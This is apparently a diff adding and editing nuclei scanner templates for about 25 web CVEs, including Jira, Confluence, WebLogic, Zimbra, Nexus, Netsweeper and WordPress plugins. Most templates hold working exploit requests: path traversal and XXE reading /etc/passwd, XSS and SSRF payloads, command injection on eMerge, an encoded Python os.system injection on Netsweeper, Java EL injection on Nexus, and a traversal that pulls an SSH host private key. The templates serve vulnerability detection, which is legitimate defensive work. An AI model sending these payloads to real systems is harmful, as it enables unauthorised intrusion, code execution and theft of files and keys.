+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-3396.yaml

@@ -0,0 +1,30 @@
+id: cve-2019-3396
+info:
+  author: "Harsh Bothra"
+  name: "Atlassian Confluence Path Traversal"
+  severity: high
+
+# https://github.com/x-f1v3/CVE-2019-3396
+
+requests:
+  - raw:
+      - |
+           POST /rest/tinymce/1/macro/preview HTTP/1.1
+           Host: {{Hostname}}
+           Accept: */*
+           Accept-Language: en-US,en;q=0.5
+           User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
+           Referer: {{Hostname}}
+           Content-Length: 168
+           Connection: close
+
+           {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<param-name>contextConfigLocation</param-name>"

cves/CVE-2019-3402.yaml

@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body

cves/CVE-2019-3799.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-3799
+id: cve-2019-3799
 info:
   name: Spring-Cloud-Config-Server Directory Traversal
   author: madrobot
@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-5418.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-5418
+id: cve-2019-5418
 
 info:
   name: File Content Disclosure on Rails
@@ -12,6 +12,7 @@ requests:
       - "{{BaseURL}}"
     headers:
       Accept: ../../../../../../../../etc/passwd{{
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-6112.yaml

@@ -0,0 +1,30 @@
+id: cve-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-6715.yaml

@@ -0,0 +1,26 @@
+id: cve-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body

cves/CVE-2019-7256.yaml

@@ -0,0 +1,42 @@
+id: cve-2019-7256
+
+info:
+  name: eMerge E3 1.00-06 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
+# Software Link: http://linear-solutions.com/nsc_family/e3-series/
+# Refrence: https://www.exploit-db.com/exploits/47619
+
+requests:
+  - raw:  # Default Port
+      - |
+        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+      - |
+        GET /nuclei.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-7609.yaml

@@ -0,0 +1,39 @@
+id: cve-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-8442.yaml

@@ -0,0 +1,19 @@
+id: cve-2019-8442
+info:
+  name: JIRA Directory Traversal
+  author: Kishore Krishna (siLLyDaddy)
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - >-
+        {{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <groupId>com.atlassian.jira</groupId>
+        part: body

cves/CVE-2019-8449.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-8449
+id: cve-2019-8449
 
 info:
   name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -11,7 +11,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8451.yaml

@@ -0,0 +1,31 @@
+id: cve-2019-8451
+
+info:
+  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
+  author: "TechbrunchFR"
+  severity: medium
+
+# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
+# security issue reported in August 2019.
+
+# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in
+# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
+# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
+# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
+# network resources.
+# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
+# https://twitter.com/benmontour/status/1177250393220239360
+# https://twitter.com/ojensen5115/status/1176569607357730817
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:[email protected]'
+    headers:
+      X-Atlassian-token: no-check
+    matchers:
+      - type: word
+        name: ssrf-response-body
+        words:
+          - '<p>This domain is for use in illustrative examples in documents.'
+        part: body

cves/CVE-2019-8903.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-8903
+id: cve-2019-8903
 
 info:
   name: Totaljs - Unathenticated Directory Traversal
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8982.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-8982
+id: cve-2019-8982
 info:
   name: Wavemaker Studio 6.6 LFI/SSRF
   author: madrobot
@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-9670.yaml

@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2019-9978.yaml

@@ -0,0 +1,22 @@
+id: cve-2019-9978
+
+info:
+  name: WordPress social-warfare RFI
+  author: madrobot & dwisiswant0
+  severity: critical
+
+  # Reference:- https://github.com/mpgn/CVE-2019-9978
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Burp Collabolator Server"
+        part: body

cves/CVE-2020-10199.yaml

@@ -0,0 +1,27 @@
+id: cve-2020-10199
+
+info:
+  name: Nexus Repository Manager 3 RCE
+  auhtor: hetroublemakr
+  severity: high
+  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/rest/beta/repositories/go/group'
+
+    headers:
+      Content-Type: application/json
+    body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 400

cves/CVE-2020-10204.yaml

@@ -0,0 +1,25 @@
+id: cve-2020-10204
+
+info:
+  name: Sonatype Nexus Repository RCE
+  auhtor: hetroublemakr
+  severity: high
+  description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/extdirect'
+
+    body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-11034.yaml

@@ -0,0 +1,23 @@
+id: cve-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/index.php?redirect=/\/evil.com/'
+      - '{{BaseURL}}/index.php?redirect=//evil.com'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header

cves/CVE-2020-1147.yaml

@@ -0,0 +1,35 @@
+id: cve-2020-1147
+
+info:
+  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
+  author: dwisiswant0
+  severity: critical
+
+  # Ref:
+  # - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
+  # - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "List does not exist"
+          - "It may have been deleted by another user"
+        part: body
+        condition: and
+      - type: word
+        words:
+          - "Microsoft-IIS"
+          - "X-SharePointHealthScore"
+          - "SharePointError"
+          - "SPRequestGuid"
+          - "MicrosoftSharePointTeamServices"
+        condition: or
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-12116.yaml

@@ -0,0 +1,54 @@
+id: cve-2020-12116
+
+info:
+  name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+  description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
+
+  # References:
+  # - https://github.com/BeetleChunks/CVE-2020-12116
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Connection: close
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Connection: close
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}:8060/
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - "(?m)/cachestart/.*/jquery/"
+
+    matchers:
+      - type: word
+        words:
+          - "BEGIN RSA PRIVATE KEY"
+        part: body

cves/CVE-2020-12720.yaml

@@ -1,10 +1,10 @@
-id: CVE-2020-12720
+id: cve-2020-12720
 
 info:
   name: CVE-2020-12720 vBulletin SQLI
   author: pdnuclei - projectdiscovery.io
   severity: critical
-
+  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
   # Source https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
   # This template supports the detection part only.
   # Do not test any website without permission
@@ -15,7 +15,6 @@ requests:
       - |
         POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
         Host: {{Hostname}}
-        Accept-Encoding: gzip, deflate
         Accept: */*
         Connection: keep-alive
         X-Requested-With: XMLHttpRequest

cves/CVE-2020-13167.yaml

@@ -0,0 +1,42 @@
+id: cve-2020-13167
+
+info:
+  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
+  author: dwisiswant0
+  severity: critical
+  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
+
+  # This template exploits a Python code injection in the Netsweeper
+  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
+  # prior, to execute code as the root user.
+
+  # Authentication is bypassed by sending a random whitelisted Referer
+  # header in each request.
+
+  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
+  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
+  # been confirmed exploitable.
+
+  # References:
+  # - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
+  # - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
+
+requests:
+  - method: GET
+    path:
+      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/out"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      Connection: "close"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-14179.yaml

@@ -0,0 +1,26 @@
+id: cve-2020-14179
+
+info:
+  name: Sensitive data exposure via insecure Jira endpoint
+  author: x1m_martijn
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
+
+  # Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "searchers"
+          - "groups"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-14181.yaml

@@ -0,0 +1,26 @@
+id: cve-2020-14181
+
+info:
+  name: User enumeration via insecure Jira endpoint
+  author: bjhulst
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
+
+# Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
+# This template supports the detection part only.
+# Do not test any website without permission
+# Do not report without having working poc.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User does not exist"
+      - type: status
+        status:
+          - 200

cves/CVE-2020-14864.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body